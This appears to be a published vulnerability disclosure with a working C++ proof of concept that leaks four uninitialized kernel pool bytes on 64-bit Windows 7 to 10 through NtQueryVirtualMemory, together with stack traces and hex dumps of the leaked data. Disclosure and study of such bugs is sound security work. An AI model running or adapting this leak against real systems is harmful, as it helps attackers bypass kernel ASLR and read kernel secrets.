Microsoft Windows Kernel - 'NtQueryVirtualMemory(MemoryMappedFilenameInformation)' 64-bit Pool Memory Disclosure

/*
We have discovered that the nt!NtQueryVirtualMemory system call invoked with the 2 information class (MemoryMappedFilenameInformation) discloses portions of uninitialized kernel pool memory to user-mode clients. The vulnerability affects 64-bit versions of Windows 7 to 10.

The output buffer for this information class is a UNICODE_STRING structure followed by the actual filename string. The output data is copied back to user-mode memory under the following stack trace (on Windows 7 64-bit):

--- cut ---
  kd> k
   # Child-SP          RetAddr           Call Site
  00 fffff880`03cfd8c8 fffff800`02970229 nt!memcpy+0x3
  01 fffff880`03cfd8d0 fffff800`02970752 nt!IopQueryNameInternal+0x289
  02 fffff880`03cfd970 fffff800`02967bb4 nt!IopQueryName+0x26
  03 fffff880`03cfd9c0 fffff800`0296a80d nt!ObpQueryNameString+0xb0
  04 fffff880`03cfdac0 fffff800`0268d093 nt!NtQueryVirtualMemory+0x5fb
  05 fffff880`03cfdbb0 00000000`772abf6a nt!KiSystemServiceCopyEnd+0x13
--- cut ---

The UNICODE_STRING structure is defined as follows:

--- cut ---
  typedef struct _LSA_UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
  } LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;
--- cut ---

On 64-bit builds, there is a 4-byte padding between the "MaximumLength" and "Buffer" fields inserted by the compiler, in order to align the "Buffer" pointer to 8 bytes. This padding is left uninitialized in the code and is copied in this form to user-mode clients, passing over left-over data from the kernel pool.

The issue can be reproduced by running the attached proof-of-concept program on a 64-bit system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at offsets 4-7 are equal to the markers inserted by Special Pools, and would otherwise contain junk data that was previously stored in that memory region:

--- cut ---
  00000000: 6c 00 6e 00[37 37 37 37]f0 f6 af 87 dd 00 00 00 l.n.7777........
--- cut ---
  00000000: 6c 00 6e 00[59 59 59 59]e0 f6 b3 0f c8 00 00 00 l.n.YYYY........
--- cut ---
  00000000: 6c 00 6e 00[7b 7b 7b 7b]40 f1 af 16 18 00 00 00 l.n.{{{{@.......
--- cut ---
  00000000: 6c 00 6e 00[a3 a3 a3 a3]80 f0 90 aa 33 00 00 00 l.n.........3...
--- cut --

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>
#include <cstdio>

typedef enum _MEMORY_INFORMATION_CLASS {
  MemoryMappedFilenameInformation = 2
} MEMORY_INFORMATION_CLASS;

extern "C"
NTSTATUS NTAPI NtQueryVirtualMemory(
  _In_      HANDLE                   ProcessHandle,
  _In_opt_  PVOID                    BaseAddress,
  _In_      MEMORY_INFORMATION_CLASS MemoryInformationClass,
  _Out_     PVOID                    MemoryInformation,
  _In_      SIZE_T                   MemoryInformationLength,
  _Out_opt_ PSIZE_T                  ReturnLength
);

VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
  PBYTE Data = (PBYTE)Buffer;

  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  SIZE_T ReturnLength;
  BYTE OutputBuffer[1024];

  NTSTATUS st = NtQueryVirtualMemory(GetCurrentProcess(),
                                     &main,
                                     MemoryMappedFilenameInformation,
                                     OutputBuffer,
                                     sizeof(OutputBuffer),
                                     &ReturnLength);

  if (!NT_SUCCESS(st)) {
    printf("NtQueryVirtualMemory failed, %x\n", st);
    ExitProcess(1);
  }

  PrintHex(OutputBuffer, sizeof(UNICODE_STRING));

  return 0;
}